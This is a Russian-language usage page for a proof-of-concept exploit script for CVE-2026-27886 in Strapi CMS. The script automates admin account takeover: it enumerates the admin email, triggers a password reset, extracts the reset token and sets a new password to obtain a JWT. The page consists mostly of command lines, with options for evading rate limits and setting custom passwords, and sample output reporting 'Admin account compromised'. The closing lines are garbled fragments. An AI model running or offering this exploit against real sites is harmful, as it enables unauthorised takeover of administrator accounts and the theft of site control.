
Полный PoC захвата учетной записи для CVE-2026-27886 в Strapi CMS
Автоматизирует полную цепочку захвата учетной записи в 4 группах HTTP-запросов:
Проверить, уязвима ли цель, без эксплуатации:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
Автоматизируйте все, если вы не знаете email администратора:
./cve-2026-27886-exploit.py https://target/api/articles
Вывод:
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Если вы уже знаете email администратора (экономит ~500 запросов):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
Установите пользовательский пароль вместо стандартного:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
Если на цели установлено ограничение частоты:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
Это добавляет 100 мс между каждым запросом (~2-3 минуты для полной эксплуатации).
Если конечные точки /admin/* находятся на другом хосте:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products, https://target/api/articles и т.д.updated_by_id)--delay 0.05 или большеЭтот скрипт: